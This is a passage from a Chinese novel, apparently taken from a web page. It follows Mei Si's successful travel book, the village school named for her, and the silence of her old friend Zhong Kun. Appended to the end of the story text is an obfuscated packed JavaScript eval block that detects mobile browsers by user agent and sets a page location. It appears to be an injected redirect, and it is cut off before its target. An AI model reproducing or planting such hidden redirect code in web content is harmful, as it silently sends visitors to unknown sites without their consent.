长兄,看着自己不懂事的小妹妹。
梅思的那一本大陆游记,五月上旬印刷出来,这时她早已回到香港,温怡君寄了一本样书给她:“好在抢了先机,卖得很好,照片是亮点。”
文章写得再好,也比不得相片直观,一张照片能传达出几段文字的内容,梅小姐这些相片照得真好,都很有特色,很能表达意见,像是街头骑自行车的人啦,漓江上的游船啦,土改之后的老宅院啦,延安今日的窑洞啦,用在报纸上,直接就是新闻图片,都是有主题的,有些人买这本书,就是为照片所吸引。
梅思轻轻笑起来,总算放心了,版税不会少的。
然后她便动起脑筋,预备投稿到南宁报社,写信去问陈露云,南宁报刊杂志社的通讯方式,过了一阵,陈露云给她回信,罗列了一串地址电话,下面说道:“学校已经建起一多半,再有两三个月,便可以完工,村民都很感谢。”
八月下旬,新的小学校建成,陈露云提前来信,问:“能过来么?”
梅思回信:“身体还不很好,不去了,拜托你帮忙剪彩吧。”
到九月中旬,南宁寄来一封信:“梅思小学正式落成,这是剪彩那天的照片,可惜你不在。钟坤先生要我代他向你问好,说他一切都好,不必挂念。村子里正在给他申请五保户,会有照顾的。”
梅思睁大眼睛,在照片上搜寻,一排人正中,一位穿西装的老年女干部十分显眼,是陈露云,其他都是男人,自己全不认识,没有钟坤的影子。
钟坤啊,为什么不站在那里,也来照相呢?自从自己那一封信发出去,他一直没有回信,倘若不是露云每次来信之中,总会捎带几句他的近况,真以为这个人忽然消失不见。
只是这话却不能问陈露云,于是梅思想了一想,写好一封信之后,出门去买了一些东西,到邮政局一同寄了出去。
时节已近初冬,风飒飒地吹,即使是广西,天气也转凉了。
钟坤披了一件外衣坐在村头,吸着香烟,静静地听不远处的聊天,只是时不时会走神。
忽然之间,一个女人走来同他搭话:“钟伯,多谢你,三丫头发烧,幸亏了你的药,那个叫做什么,何什么公?那个字不认得。”
钟坤扭转头来,随意地说:“嗯,是何济公,专治头疼脑热的。”
繁体字,三十几岁的人便不大会认。
一个汉子把眼袋往地上一磕,笑道:“那可是香港来的药,当然好使,李嫂,你是托了钟伯的福,才能有这样的好药。”
旁边一个男人说:“香港的药就是灵,我前些时伤了筋,把那活络油抹在肩膀上,嘿,几回就好了!梅小姐真是好人,钟伯,你这个朋友,真是够交情,重情重义。”
钟坤默默点头,是的,梅小姐很有情义,只是自己却显得无情,前后接到四封信,读过之后,几次提笔,对着半本作业簿,颤巍巍写下几个字,终于丢掉了,便是把分别时坚定的诺言也丢弃,反正陈干部常来村中,可以为自己捎话。
南宁的陈干部啊,原来就是钦差大臣,之前帮梅思查访自己,现在又在这里看着盖小学,有时候特意找自己说话:“与黄菲,就是梅思,相识很久了么?”
“她没有和你讲吗?”
“她啊,她那个人,你晓得是不会闲谈这些的。”
“我也不想讲这些。”
于是陈同志那标准的共产党干部式笑容——明朗、亲切、坦率、友善——便不得不稍稍消退,想了一想,说:“黄菲又有信来,问起你,这次要不要回信给她?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navig